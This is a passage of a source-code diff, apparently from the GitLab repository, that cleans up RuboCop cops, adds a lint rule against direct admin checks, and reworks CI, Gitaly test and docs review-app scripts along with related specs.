MSG = "The method is not allowed to be called within the `with_lock_retries` block, the only allowed methods are: #{ALLOWED_MIGRATION_METHODS.join(', ')}"
diff --git a/rubocop/cop/migration/with_lock_retries_with_change.rb b/rubocop/cop/migration/with_lock_retries_with_change.rb
index 36fc1f92833..9d11edcb6a1 100644
--- a/rubocop/cop/migration/with_lock_retries_with_change.rb
+++ b/rubocop/cop/migration/with_lock_retries_with_change.rb
@@ -10,7 +10,7 @@ module RuboCop
include MigrationHelpers
MSG = '`with_lock_retries` cannot be used within `change` so you must manually define ' \
- 'the `up` and `down` methods in your migration class and use `with_lock_retries` in both methods'.freeze
+ 'the `up` and `down` methods in your migration class and use `with_lock_retries` in both methods'
def on_send(node)
return unless in_migration?(node)
diff --git a/rubocop/cop/project_path_helper.rb b/rubocop/cop/project_path_helper.rb
index bc2454e5b1f..ec3f847faf9 100644
--- a/rubocop/cop/project_path_helper.rb
+++ b/rubocop/cop/project_path_helper.rb
@@ -5,7 +5,7 @@ module RuboCop
class ProjectPathHelper < RuboCop::Cop::Cop
MSG = 'Use short project path helpers without explicitly passing the namespace: ' \
'`foo_project_bar_path(project, bar)` instead of ' \
- '`foo_namespace_project_bar_path(project.namespace, project, bar)`.'.freeze
+ '`foo_namespace_project_bar_path(project.namespace, project, bar)`.'
METHOD_NAME_PATTERN = /\A([a-z_]+_)?namespace_project(?:_[a-z_]+)?_(?:url|path)\z/.freeze
diff --git a/rubocop/cop/qa/ambiguous_page_object_name.rb b/rubocop/cop/qa/ambiguous_page_object_name.rb
index 5cd8ea25c87..a4a2c04f61f 100644
--- a/rubocop/cop/qa/ambiguous_page_object_name.rb
+++ b/rubocop/cop/qa/ambiguous_page_object_name.rb
@@ -19,7 +19,7 @@ module RuboCop
class AmbiguousPageObjectName < RuboCop::Cop::Cop
include QAHelpers
- MESSAGE = "Don't use 'page' as a name for a Page Object. Use `%s` instead.".freeze
+ MESSAGE = "Don't use 'page' as a name for a Page Object. Use `%s` instead."
def_node_matcher :ambiguous_page?, <<~PATTERN
(block
diff --git a/rubocop/cop/qa/element_with_pattern.rb b/rubocop/cop/qa/element_with_pattern.rb
index d48f4725488..d0a42497960 100644
--- a/rubocop/cop/qa/element_with_pattern.rb
+++ b/rubocop/cop/qa/element_with_pattern.rb
@@ -19,7 +19,7 @@ module RuboCop
class ElementWithPattern < RuboCop::Cop::Cop
include QAHelpers
- MESSAGE = "Don't use a pattern for element, create a corresponding `%s` instead.".freeze
+ MESSAGE = "Don't use a pattern for element, create a corresponding `%s` instead."
def on_send(node)
return unless in_qa_file?(node)
diff --git a/rubocop/cop/rspec/env_assignment.rb b/rubocop/cop/rspec/env_assignment.rb
index 73e108c2232..e3075e7bd90 100644
--- a/rubocop/cop/rspec/env_assignment.rb
+++ b/rubocop/cop/rspec/env_assignment.rb
@@ -17,7 +17,7 @@ module RuboCop
# stub_env('FOO', 'bar')
# end
class EnvAssignment < RuboCop::Cop::Cop
- MESSAGE = "Don't assign to ENV, use `stub_env` instead.".freeze
+ MESSAGE = "Don't assign to ENV, use `stub_env` instead."
def_node_search :env_assignment?, <<~PATTERN
(send (const nil? :ENV) :[]= ...)
diff --git a/rubocop/cop/rspec/factories_in_migration_specs.rb b/rubocop/cop/rspec/factories_in_migration_specs.rb
index 732e0d92bbd..f29bbf68cdc 100644
--- a/rubocop/cop/rspec/factories_in_migration_specs.rb
+++ b/rubocop/cop/rspec/factories_in_migration_specs.rb
@@ -14,7 +14,7 @@ module RuboCop
# let(:users) { table(:users) }
# let(:user) { users.create!(name: 'User 1', username: 'user1') }
class FactoriesInMigrationSpecs < RuboCop::Cop::Cop
- MESSAGE = "Don't use FactoryBot.%s in migration specs, use `table` instead.".freeze
+ MESSAGE = "Don't use FactoryBot.%s in migration specs, use `table` instead."
FORBIDDEN_METHODS = %i[build build_list create create_list attributes_for].freeze
def_node_search :forbidden_factory_usage?, <<~PATTERN
diff --git a/rubocop/cop/rspec/httparty_basic_auth.rb b/rubocop/cop/rspec/httparty_basic_auth.rb
index 529a5808662..c6b52ac9781 100644
--- a/rubocop/cop/rspec/httparty_basic_auth.rb
+++ b/rubocop/cop/rspec/httparty_basic_auth.rb
@@ -13,7 +13,7 @@ module RuboCop
# # good
# HTTParty.get(url, basic_auth: { username: 'foo' })
class HTTPartyBasicAuth < RuboCop::Cop::Cop
- MESSAGE = "`basic_auth: { user: ... }` does not work - replace `user:` with `username:`".freeze
+ MESSAGE = "`basic_auth: { user: ... }` does not work - replace `user:` with `username:`"
RESTRICT_ON_SEND = %i(get put post delete).freeze
diff --git a/rubocop/cop/safe_params.rb b/rubocop/cop/safe_params.rb
index 250c16232e4..2720732c161 100644
--- a/rubocop/cop/safe_params.rb
+++ b/rubocop/cop/safe_params.rb
@@ -3,7 +3,7 @@
module RuboCop
module Cop
class SafeParams < RuboCop::Cop::Cop
- MSG = 'Use `safe_params` instead of `params` in url_for.'.freeze
+ MSG = 'Use `safe_params` instead of `params` in url_for.'
METHOD_NAME_PATTERN = :url_for
UNSAFE_PARAM = :params
diff --git a/rubocop/cop/sidekiq_options_queue.rb b/rubocop/cop/sidekiq_options_queue.rb
index 499c712175e..2574a229ec2 100644
--- a/rubocop/cop/sidekiq_options_queue.rb
+++ b/rubocop/cop/sidekiq_options_queue.rb
@@ -4,7 +4,7 @@ module RuboCop
module Cop
# Cop that prevents manually setting a queue in Sidekiq workers.
class SidekiqOptionsQueue < RuboCop::Cop::Cop
- MSG = 'Do not manually set a queue; `ApplicationWorker` sets one automatically.'.freeze
+ MSG = 'Do not manually set a queue; `ApplicationWorker` sets one automatically.'
def_node_matcher :sidekiq_options?, <<~PATTERN
(send nil? :sidekiq_options $...)
diff --git a/rubocop/cop/static_translation_definition.rb b/rubocop/cop/static_translation_definition.rb
index 55956d9665b..ac50fd94884 100644
--- a/rubocop/cop/static_translation_definition.rb
+++ b/rubocop/cop/static_translation_definition.rb
@@ -3,7 +3,7 @@
module RuboCop
module Cop
class StaticTranslationDefinition < RuboCop::Cop::Cop
- MSG = "The text you're translating will be already in the translated form when it's assigned to the constant. When a users changes the locale, these texts won't be translated again. Consider moving the translation logic to a method.".freeze
+ MSG = "The text you're translating will be already in the translated form when it's assigned to the constant. When a users changes the locale, these texts won't be translated again. Consider moving the translation logic to a method."
TRANSLATION_METHODS = %i[_ s_ n_].freeze
diff --git a/rubocop/cop/style/regexp_literal_mixed_preserve.rb b/rubocop/cop/style/regexp_literal_mixed_preserve.rb
new file mode 100644
index 00000000000..4dc38d82f45
--- /dev/null
+++ b/rubocop/cop/style/regexp_literal_mixed_preserve.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Style
+ # This cop is based on `Style/RegexpLiteral` but adds a new
+ # `EnforcedStyle` option `mixed_preserve`.
+ #
+ # This cop will be removed once the upstream PR is merged and RuboCop upgraded.
+ #
+ # See https://github.com/rubocop/rubocop/pull/9688
+ class RegexpLiteralMixedPreserve < RuboCop::Cop::Style::RegexpLiteral
+ module Patch
+ private
+
+ def allowed_slash_literal?(node)
+ super || allowed_mixed_preserve?(node)
+ end
+
+ def allowed_percent_r_literal?(node)
+ super || allowed_mixed_preserve?(node)
+ end
+
+ def allowed_mixed_preserve?(node)
+ style == :mixed_preserve && !contains_disallowed_slash?(node)
+ end
+ end
+
+ prepend Patch
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb b/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb
index 9fdf52dac8b..3aad089d961 100644
--- a/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb
+++ b/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb
@@ -13,7 +13,7 @@ module RuboCop
# distinct_count(Ci::Build, :commit_id)
#
class DistinctCountByLargeForeignKey < RuboCop::Cop::Cop
- MSG = 'Avoid doing `%s` on foreign keys for large tables having above 100 million rows.'.freeze
+ MSG = 'Avoid doing `%s` on foreign keys for large tables having above 100 million rows.'
def_node_matcher :distinct_count?, <<-PATTERN
(send _ $:distinct_count $...)
diff --git a/rubocop/cop/user_admin.rb b/rubocop/cop/user_admin.rb
new file mode 100644
index 00000000000..3ba0e770ec1
--- /dev/null
+++ b/rubocop/cop/user_admin.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ # Cop that rejects the usage of `User#admin?`
+ class UserAdmin < RuboCop::Cop::Cop
+ MSG = 'Direct calls to `User#admin?` to determine admin status should be ' \
+ 'avoided as they will not take into account the policies framework ' \
+ 'and will ignore Admin Mode if enabled. Please use a policy check ' \
+ 'with `User#can_admin_all_resources?` or `User#can_read_all_resources?`.'
+
+ def_node_matcher :admin_call?, <<~PATTERN
+ ({send | csend} _ :admin? ...)
+ PATTERN
+
+ def on_send(node)
+ on_handler(node)
+ end
+
+ def on_csend(node)
+ on_handler(node)
+ end
+
+ private
+
+ def on_handler(node)
+ return unless admin_call?(node)
+
+ add_offense(node, location: :selector)
+ end
+ end
+ end
+end
diff --git a/rubocop/rubocop-migrations.yml b/rubocop/rubocop-migrations.yml
index c1ad3cc8abb..c8f50016710 100644
--- a/rubocop/rubocop-migrations.yml
+++ b/rubocop/rubocop-migrations.yml
@@ -19,6 +19,7 @@ Migration/UpdateLargeTable:
- :merge_request_diffs
- :merge_request_metrics
- :merge_requests
+ - :namespace_settings
- :namespaces
- :note_diff_files
- :notes
diff --git a/scripts/gitaly-test-build b/scripts/gitaly-test-build
index bb561e2906a..849c08df527 100755
--- a/scripts/gitaly-test-build
+++ b/scripts/gitaly-test-build
@@ -13,6 +13,8 @@ class GitalyTestBuild
include GitalyTest
def run
+ set_bundler_config
+
abort 'gitaly build failed' unless build_gitaly
ensure_gitlab_shell_secret!
diff --git a/scripts/gitaly-test-spawn b/scripts/gitaly-test-spawn
index 8547d0b13e4..7cb9ea803f8 100755
--- a/scripts/gitaly-test-spawn
+++ b/scripts/gitaly-test-spawn
@@ -9,6 +9,7 @@ class GitalyTestSpawn
include GitalyTest
def run
+ set_bundler_config
install_gitaly_gems if ENV['CI']
check_gitaly_config!
diff --git a/scripts/gitaly_test.rb b/scripts/gitaly_test.rb
index 2262870eb96..b7ea9cd628e 100644
--- a/scripts/gitaly_test.rb
+++ b/scripts/gitaly_test.rb
@@ -12,11 +12,11 @@ require 'logger'
module GitalyTest
LOGGER = begin
- default_name = ENV['CI'] ? 'DEBUG' : 'WARN'
- level_name = ENV['GITLAB_TESTING_LOG_LEVEL']&.upcase
- level = Logger.const_get(level_name || default_name, true) # rubocop: disable Gitlab/ConstGetInheritFalse
- Logger.new(STDOUT, level: level, formatter: ->(_, _, _, msg) { msg })
- end
+ default_name = ENV['CI'] ? 'DEBUG' : 'WARN'
+ level_name = ENV['GITLAB_TESTING_LOG_LEVEL']&.upcase
+ level = Logger.const_get(level_name || default_name, true) # rubocop: disable Gitlab/ConstGetInheritFalse
+ Logger.new(STDOUT, level: level, formatter: ->(_, _, _, msg) { msg })
+ end
def tmp_tests_gitaly_dir
File.expand_path('../tmp/tests/gitaly', __dir__)
@@ -34,16 +34,19 @@ module GitalyTest
File.join(tmp_tests_gitaly_dir, 'ruby', 'Gemfile')
end
+ def gemfile_dir
+ File.dirname(gemfile)
+ end
+
def gitlab_shell_secret_file
File.join(tmp_tests_gitlab_shell_dir, '.gitlab_shell_secret')
end
def env
- env_hash = {
+ {
'HOME' => File.expand_path('tmp/tests'),
'GEM_PATH' => Gem.path.join(':'),
- 'BUNDLE_APP_CONFIG' => File.join(File.dirname(gemfile), '.bundle/config'),
- 'BUNDLE_FLAGS' => "--jobs=4 --retry=3",
+ 'BUNDLE_APP_CONFIG' => File.join(gemfile_dir, '.bundle'),
'BUNDLE_INSTALL_FLAGS' => nil,
'BUNDLE_GEMFILE' => gemfile,
'RUBYOPT' => nil,
@@ -51,14 +54,19 @@ module GitalyTest
# Git hooks can't run during tests as the internal API is not running.
'GITALY_TESTING_NO_GIT_HOOKS' => "1"
}
+ end
+
+ # rubocop:disable GitlabSecurity/SystemCommandInjection
+ def set_bundler_config
+ system('bundle config set --local jobs 4', chdir: gemfile_dir)
+ system('bundle config set --local retry 3', chdir: gemfile_dir)
if ENV['CI']
bundle_path = File.expand_path('../vendor/gitaly-ruby', __dir__)
- env_hash['BUNDLE_FLAGS'] += " --path=#{bundle_path}"
+ system('bundle', 'config', 'set', '--local', 'path', bundle_path, chdir: gemfile_dir)
end
-
- env_hash
end
+ # rubocop:enable GitlabSecurity/SystemCommandInjection
def config_path(service)
case service
diff --git a/scripts/lint-rugged b/scripts/lint-rugged
index 038fd5199c2..ae5eddbe3b4 100755
--- a/scripts/lint-rugged
+++ b/scripts/lint-rugged
@@ -29,6 +29,7 @@ ALLOWED = [
'config/initializers/lograge.rb',
'lib/gitlab/grape_logging/loggers/perf_logger.rb',
'lib/gitlab/instrumentation_helper.rb',
+ 'lib/gitlab/sidekiq_middleware/instrumentation_logger.rb',
'lib/gitlab/rugged_instrumentation.rb',
'lib/peek/views/rugged.rb'
].freeze
diff --git a/scripts/perf/query_limiting_report.rb b/scripts/perf/query_limiting_report.rb
new file mode 100755
index 00000000000..2f263eeb567
--- /dev/null
+++ b/scripts/perf/query_limiting_report.rb
@@ -0,0 +1,167 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+####
+# Prints a report which helps reconcile occurrences of the `QueryLimiting.disable(ISSUE_LINK)`
+# allowlist block against the corresponding open issues.
+#
+# If everything is consistent, the script should ideally not report any issues or code lines,
+# other than possibly remaining "calls with no issue iid" which use variables/etc.
+#
+# - See https://gitlab.com/gitlab-org/gitlab/-/issues/325640
+# - See https://gitlab.com/groups/gitlab-org/-/epics/5670
+
+require 'rubygems'
+require 'gitlab'
+require 'optparse'
+
+class QueryLimitingReport
+ GITLAB_PROJECT_ID = 278964 # gitlab-org/gitlab project
+ ISSUES_SEARCH_LABEL = 'querylimiting-disable'
+ CODE_LINES_SEARCH_STRING = 'QueryLimiting.disable'
+ PAGINATION_LIMIT = 500
+
+ DEFAULT_OPTIONS = {
+ api_token: ENV['API_TOKEN']
+ }.freeze
+
+ def initialize(options)
+ @options = options
+
+ Gitlab.configure do |config|
+ config.endpoint = 'https://gitlab.com/api/v4'
+ config.private_token = options.fetch(:api_token)
+ end
+ end
+
+ def execute
+ # PLAN:
+ # Read all issues matching criteria and extract array of issue iids
+ # Find all code references and extract issue iids
+ # Print list of all issues without code references
+ # Print list of all code references issue iids that don't have search label
+ # Print list of all code references with no issue iids (i.e. dynamic or variable argument)
+
+ total_issues = find_issues_by_label(ISSUES_SEARCH_LABEL)
+ issues = total_issues.select { |issue| issue[:state] == 'opened' }
+ code_lines = find_code_lines
+
+ code_lines_grouped = code_lines.group_by { |code_line| code_line[:has_issue_iid] }
+ code_lines_without_issue_iid = code_lines_grouped[false]
+ code_lines_with_issue_iid = code_lines_grouped[true]
+
+ all_issue_iids_in_code_lines = code_lines_with_issue_iid.map { |line| line[:issue_iid] }
+
+ issues_without_code_references = issues.reject do |issue|
+ all_issue_iids_in_code_lines.include?(issue[:iid])
+ end
+
+ all_issue_iids = issues.map { |issue| issue[:iid] }
+ code_lines_with_missing_issues = code_lines_with_issue_iid.reject do |code_line|
+ all_issue_iids.include?(code_line[:issue_iid])
+ end
+
+ puts "\n\n\nREPORT:"
+
+ puts "\n\nFound #{total_issues.length} total issues with '#{ISSUES_SEARCH_LABEL}' search label, #{issues.length} are still opened..."
+ puts "\n\nFound #{code_lines.length} total occurrences of '#{CODE_LINES_SEARCH_STRING}' in code..."
+
+ puts "\n" + '-' * 80
+
+ puts "\n\nIssues without any '#{CODE_LINES_SEARCH_STRING}' code references (#{issues_without_code_references.length} total):"
+ pp issues_without_code_references
+
+ puts "\n" + '-' * 80
+
+ puts "\n\n'#{CODE_LINES_SEARCH_STRING}' calls with references to an issue which doesn't have '#{ISSUES_SEARCH_LABEL}' search label (#{code_lines_with_missing_issues.length} total):"
+ pp code_lines_with_missing_issues
+
+ puts "\n" + '-' * 80
+
+ puts "\n\n'#{CODE_LINES_SEARCH_STRING}' calls with no issue iid (#{code_lines_without_issue_iid&.length || 0} total):"
+ pp code_lines_without_issue_iid
+ end
+
+ private
+
+ attr_reader :options
+
+ def find_issues_by_label(label)
+ issues = []
+
+ puts("Finding issues by label #{label}...")
+ paginated_issues = Gitlab.issues(GITLAB_PROJECT_ID, 'labels' => label)
+ paginated_issues.paginate_with_limit(PAGINATION_LIMIT) do |item|
+ item_hash = item.to_hash
+
+ issue_iid = item_hash.fetch('iid')
+ issue = {
+ iid: issue_iid,
+ state: item_hash.fetch('state'),
+ title: item_hash.fetch('title'),
+ issue_url: "https://gitlab.com/gitlab-org/gitlab/issues/#{issue_iid}"
+ }
+
+ issues << issue
+ end
+
+ issues
+ end
+
+ def find_code_lines
+ code_lines = []
+
+ puts("Finding code lines...")
+ paginated_blobs = Gitlab.search_in_project(GITLAB_PROJECT_ID, 'blobs', CODE_LINES_SEARCH_STRING)
+ paginated_blobs.paginate_with_limit(PAGINATION_LIMIT) do |item|
+ item_hash = item.to_hash
+
+ filename = item_hash.fetch('filename')
+ next if filename !~ /\.rb\Z/
+
+ file_contents = Gitlab.file_contents(GITLAB_PROJECT_ID, filename)
+ file_lines = file_contents.split("\n")
+
+ file_lines.each_index do |index|
+ line = file_lines[index]
+ if line =~ /#{CODE_LINES_SEARCH_STRING}/
+ issue_iid = line.slice(%r{issues/(\d+)\D}, 1)
+ line_number = index + 1
+ code_line = {
+ file_location: "#{filename}:#{line_number}",
+ filename: filename,
+ line_number: line_number,
+ line: line,
+ issue_iid: issue_iid.to_i,
+ has_issue_iid: !issue_iid.nil?
+ }
+ code_lines << code_line
+ end
+ end
+ end
+
+ code_lines.sort_by! { |line| "#{line[:filename]}-#{line[:line_number].to_s.rjust(4, '0')}" }
+ code_lines.map do |line|
+ line.delete(:filename)
+ line.delete(:line_number)
+ line
+ end
+ end
+end
+
+if $0 == __FILE__
+ options = QueryLimitingReport::DEFAULT_OPTIONS.dup
+
+ OptionParser.new do |opts|
+ opts.on("-t", "--api-token API_TOKEN", String, "A value API token with the `read_api` scope. Can be set as an env variable 'API_TOKEN'.") do |value|
+ options[:api_token] = value
+ end
+
+ opts.on("-h", "--help", "Prints this help") do
+ puts opts
+ exit
+ end
+ end.parse!
+
+ QueryLimitingReport.new(options).execute
+end
diff --git a/scripts/review_apps/base-config.yaml b/scripts/review_apps/base-config.yaml
index cf55fca7452..7daf3f80efc 100644
--- a/scripts/review_apps/base-config.yaml
+++ b/scripts/review_apps/base-config.yaml
@@ -70,10 +70,10 @@ gitlab:
resources:
requests:
cpu: 746m
- memory: 1873M
+ memory: 2809M
limits:
cpu: 1119m
- memory: 2809M
+ memory: 4214M
deployment:
readinessProbe:
initialDelaySeconds: 5 # Default is 0
@@ -83,10 +83,10 @@ gitlab:
resources:
requests:
cpu: 400m
- memory: 50M
+ memory: 75M
limits:
cpu: 600m
- memory: 75M
+ memory: 113M
readinessProbe:
initialDelaySeconds: 5 # Default is 0
periodSeconds: 15 # Default is 10
@@ -137,10 +137,10 @@ postgresql:
enabled: false
resources:
requests:
- cpu: 550m
+ cpu: 600m
memory: 1000M
limits:
- cpu: 825m
+ cpu: 1300m
memory: 1500M
prometheus:
install: false
diff --git a/scripts/rspec_helpers.sh b/scripts/rspec_helpers.sh
index d9957fb6ced..e23231e429b 100644
--- a/scripts/rspec_helpers.sh
+++ b/scripts/rspec_helpers.sh
@@ -97,6 +97,10 @@ function rspec_paralellized_job() {
spec_folder_prefix="ee/"
fi
+ if [[ "${test_tool}" =~ "-jh" ]]; then
+ spec_folder_prefix="jh/"
+ fi
+
export KNAPSACK_LOG_LEVEL="debug"
export KNAPSACK_REPORT_PATH="knapsack/${report_name}_report.json"
@@ -109,7 +113,7 @@ function rspec_paralellized_job() {
cp "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" "${KNAPSACK_REPORT_PATH}"
if [[ -z "${KNAPSACK_TEST_FILE_PATTERN}" ]]; then
- pattern=$(ruby -r./lib/quality/test_level.rb -e "puts Quality::TestLevel.new(%(${spec_folder_prefix})).pattern(:${test_level})")
+ pattern=$(ruby -r./tooling/quality/test_level.rb -e "puts Quality::TestLevel.new(%(${spec_folder_prefix})).pattern(:${test_level})")
export KNAPSACK_TEST_FILE_PATTERN="${pattern}"
fi
diff --git a/scripts/static-analysis b/scripts/static-analysis
index 2442455e630..136b2966244 100755
--- a/scripts/static-analysis
+++ b/scripts/static-analysis
@@ -33,7 +33,7 @@ class StaticAnalysis
%w[bin/rake gitlab:sidekiq:all_queues_yml:check] => 13,
(Gitlab.ee? ? %w[bin/rake gitlab:sidekiq:sidekiq_queues_yml:check] : nil) => 13,
%w[bin/rake config_lint] => 11,
- %w[yarn run lint:stylelint] => 9,
+ %w[yarn run internal:stylelint] => 9,
%w[scripts/lint-conflicts.sh] => 0.59,
%w[yarn run block-dependencies] => 0.35,
%w[scripts/lint-rugged] => 0.23,
diff --git a/scripts/trigger-build b/scripts/trigger-build
index 29d53609026..3a9301bda3b 100755
--- a/scripts/trigger-build
+++ b/scripts/trigger-build
@@ -136,13 +136,15 @@ module Trigger
def extra_variables
# Use CI_MERGE_REQUEST_SOURCE_BRANCH_SHA for omnibus checkouts due to pipeline for merged results
- # and fallback to CI_COMMIT_SHA for the `detached` pipelines.
- # We also set IMAGE_TAG so the GitLab and QA docker images are tagged with
- # that SHA.
+ # and fallback to CI_COMMIT_SHA (merged result commit) for the non-MR pipelines.
+ # See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#with-pipeline-for-merged-results.
+ # We also set IMAGE_TAG so the GitLab Docker image is tagged with that SHA.
source_sha = Trigger.non_empty_variable_value('CI_MERGE_REQUEST_SOURCE_BRANCH_SHA') || ENV['CI_COMMIT_SHA']
{
'GITLAB_VERSION' => source_sha,
'IMAGE_TAG' => source_sha,
+ 'QA_IMAGE' => "#{ENV['CI_REGISTRY']}/#{ENV['CI_PROJECT_PATH']}/gitlab-ee-qa:#{ENV['CI_COMMIT_REF_SLUG']}",
+ 'SKIP_QA_DOCKER' => 'true',
'ALTERNATIVE_SOURCES' => 'true',
'SECURITY_SOURCES' => Trigger.security? ? 'true' : 'false',
'ee' => Trigger.ee? ? 'true' : 'false',
@@ -214,15 +216,7 @@ module Trigger
=> If something doesn't work, drop a line in the #docs chat channel.
MSG
- # Create a remote branch in gitlab-docs and immediately cancel the pipeline
- # to avoid race conditions, since a triggered pipeline will also run right
- # after the branch creation. This only happens the very first time a branch
- # is created and will be skipped in subsequent runs. Read more in
- # https://gitlab.com/gitlab-org/gitlab-docs/issues/154.
- #
def deploy!
- create_remote_branch!
- cancel_latest_pipeline!
invoke!.wait!
display_success_message
end
@@ -231,31 +225,52 @@ module Trigger
# Remove a remote branch in gitlab-docs.
#
def cleanup!
- gitlab_client(:downstream).delete_branch(downstream_project_path, ref)
- puts "=> Remote branch '#{downstream_project_path}' deleted"
+ environment = gitlab_client(:downstream).environments(downstream_project_path, name: downstream_environment).first
+ return unless environment
+
+ environment = gitlab_client(:downstream).stop_environment(downstream_project_path, environment.id)
+ if environment.state == 'stopped'
+ puts "=> Downstream environment '#{downstream_environment}' stopped"
+ else
+ puts "=> Downstream environment '#{downstream_environment}' failed to stop."
+ end
end
private
+ def downstream_environment
+ "review/#{ref}#{review_slug}"
+ end
+
+ # We prepend the `-` here because we cannot use variable substitution in `environment.name`/`environment.url`
+ # Some projects (e.g. `omnibus-gitlab`) use this script for branch pipelines, so we fallback to using `CI_COMMIT_REF_SLUG` for those cases.
+ def review_slug
+ identifier = ENV['CI_MERGE_REQUEST_IID'] || ENV['CI_COMMIT_REF_SLUG']
+
+ "-#{project_slug}-#{identifier}"
+ end
+
def downstream_project_path
ENV['DOCS_PROJECT_PATH'] || 'gitlab-org/gitlab-docs'
end
def ref
- if ENV['CI_MERGE_REQUEST_IID'].nil?
- "docs-preview-#{slug}-#{ENV['CI_COMMIT_REF_SLUG']}"
- else
- "docs-preview-#{slug}-#{ENV['CI_MERGE_REQUEST_IID']}"
- end
+ ENV['DOCS_BRANCH'] || 'master'
+ end
+
+ # `gitlab-org/gitlab-docs` pipeline trigger "Triggered from gitlab-org/gitlab 'review-docs-deploy' job"
+ def trigger_token
+ ENV['DOCS_TRIGGER_TOKEN']
end
def extra_variables
{
- "BRANCH_#{slug.upcase}" => ENV['CI_COMMIT_REF_NAME']
+ "BRANCH_#{project_slug.upcase}" => ENV['CI_COMMIT_REF_NAME'],
+ "REVIEW_SLUG" => review_slug
}
end
- def slug
+ def project_slug
case ENV['CI_PROJECT_PATH']
when 'gitlab-org/gitlab-foss'
'ce'
@@ -270,37 +285,14 @@ module Trigger
end
end
+ # app_url is the URL of the `gitlab-docs` Review App URL defined in
+ # https://gitlab.com/gitlab-org/gitlab-docs/-/blob/b38038132cf82a24271bbb294dead7c2f529e275/.gitlab-ci.yml#L383
def app_url
- "http://#{ref}.#{ENV['DOCS_REVIEW_APPS_DOMAIN']}/#{slug}"
- end
-
- def create_remote_branch!
- gitlab_client(:downstream).create_branch(downstream_project_path, ref, 'master')
- puts "=> Remote branch '#{ref}' created"
- rescue Gitlab::Error::BadRequest
- puts "=> Remote branch '#{ref}' already exists!"
- end
-
- def cancel_latest_pipeline!
- pipelines = nil
-
- # Wait until the pipeline is started
- loop do
- sleep 1
- puts "=> Waiting for pipeline to start..."
- pipelines = gitlab_client(:downstream).pipelines(downstream_project_path, { ref: ref })
- break if pipelines.any?
- end
-
- # Get the first pipeline ID which should be the only one for the branch
- pipeline_id = pipelines.first.id
-
- # Cancel the pipeline
- gitlab_client(:downstream).cancel_pipeline(downstream_project_path, pipeline_id)
+ "http://#{ref}#{review_slug}.#{ENV['DOCS_REVIEW_APPS_DOMAIN']}/#{project_slug}"
end
def display_success_message
- format(SUCCESS_MESSAGE, app_url: app_url)
+ puts format(SUCCESS_MESSAGE, app_url: app_url)
end
end
diff --git a/scripts/utils.sh b/scripts/utils.sh
index c598afc4582..2e9839e4df8 100644
--- a/scripts/utils.sh
+++ b/scripts/utils.sh
@@ -26,13 +26,9 @@ function install_api_client_dependencies_with_apk() {
apk add --update openssl curl jq
}
-function install_api_client_dependencies_with_apt() {
- apt update && apt install jq -y
-}
-
function install_gitlab_gem() {
gem install httparty --no-document --version 0.18.1
- gem install gitlab --no-document --version 4.14.1
+ gem install gitlab --no-document --version 4.17.0
}
function install_tff_gem() {
diff --git a/scripts/verify-tff-mapping b/scripts/verify-tff-mapping
index 5bc4b23f99f..e18a14e17d6 100755
--- a/scripts/verify-tff-mapping
+++ b/scripts/verify-tff-mapping
@@ -8,7 +8,7 @@ require 'set'
# The verification depend on the presence of actual test files,
# so they would fail if one of the test files mentioned here is deleted.
# To minimize the chance of this test failing due to unrelated changes,
-# the test files are chosen to be critical files that are unlikely to be deleted in a typical Merge Request
+# the test files are chosen to be critical files that are unlikely to be deleted in a typical merge request
tests = [
{
explanation: 'EE code should map to respective spec',
diff --git a/spec/benchmarks/banzai_benchmark.rb b/spec/benchmarks/banzai_benchmark.rb
index 4cf079b2130..05c41eed889 100644
--- a/spec/benchmarks/banzai_benchmark.rb
+++ b/spec/benchmarks/banzai_benchmark.rb
@@ -54,9 +54,10 @@ RSpec.describe 'GitLab Markdown Benchmark', :aggregate_failures do
context 'pipelines' do
it 'benchmarks several pipelines' do
- path = 'images/example.jpg'
- gitaly_wiki_file = Gitlab::GitalyClient::WikiFile.new(path: path)
- allow(wiki).to receive(:find_file).with(path, load_content: false).and_return(Gitlab::Git::WikiFile.new(gitaly_wiki_file))
+ name = 'example.jpg'
+ path = "images/#{name}"
+ blob = double(name: name, path: path, mime_type: 'image/jpeg', data: nil)
+ allow(wiki).to receive(:find_file).with(path, load_content: false).and_return(Gitlab::Git::WikiFile.new(blob))
allow(wiki).to receive(:wiki_base_path) { '/namespace1/gitlabhq/wikis' }
puts "\n--> Benchmarking Full, Wiki, and Plain pipelines\n"
diff --git a/spec/config/mail_room_spec.rb b/spec/config/mail_room_spec.rb
index 289e18be0d7..6265b54931a 100644
--- a/spec/config/mail_room_spec.rb
+++ b/spec/config/mail_room_spec.rb
@@ -16,7 +16,9 @@ RSpec.describe 'mail_room.yml' do
}
cmd = "puts ERB.new(File.read(#{absolute_path(mailroom_config_path).inspect})).result"
- output, status = Gitlab::Popen.popen(%W(ruby -rerb -e #{cmd}), absolute_path('config'), vars)
+ result = Gitlab::Popen.popen_with_detail(%W(ruby -rerb -e #{cmd}), absolute_path('config'), vars)
+ output = result.stdout
+ status = result.status
raise "Error interpreting #{mailroom_config_path}: #{output}" unless status == 0
YAML.load(output)
@@ -68,6 +70,39 @@ RSpec.describe 'mail_room.yml' do
end
end
+ context 'when both incoming email and service desk email are enabled for Microsoft Graph' do
+ let(:gitlab_config_path) { 'spec/fixtures/config/mail_room_enabled_ms_graph.yml' }
+ let(:queues_config_path) { 'spec/fixtures/config/redis_queues_new_format_host.yml' }
+ let(:gitlab_redis_queues) { Gitlab::Redis::Queues.new(Rails.env) }
+
+ it 'contains the intended configuration' do
+ expected_mailbox = {
+ email: 'gitlab-incoming@gmail.com',
+ name: 'inbox',
+ idle_timeout: 60,
+ expunge_deleted: true
+ }
+ expected_options = {
+ redis_url: gitlab_redis_queues.url,
+ sentinels: gitlab_redis_queues.sentinels
+ }
+ expected_inbox_options = {
+ tenant_id: '12345',
+ client_id: 'MY-CLIENT-ID',
+ client_secret: 'MY-CLIENT-SECRET',
+ poll_interval: 60
+ }
+
+ expect(configuration[:mailboxes].length).to eq(2)
+ expect(configuration[:mailboxes]).to all(include(expected_mailbox))
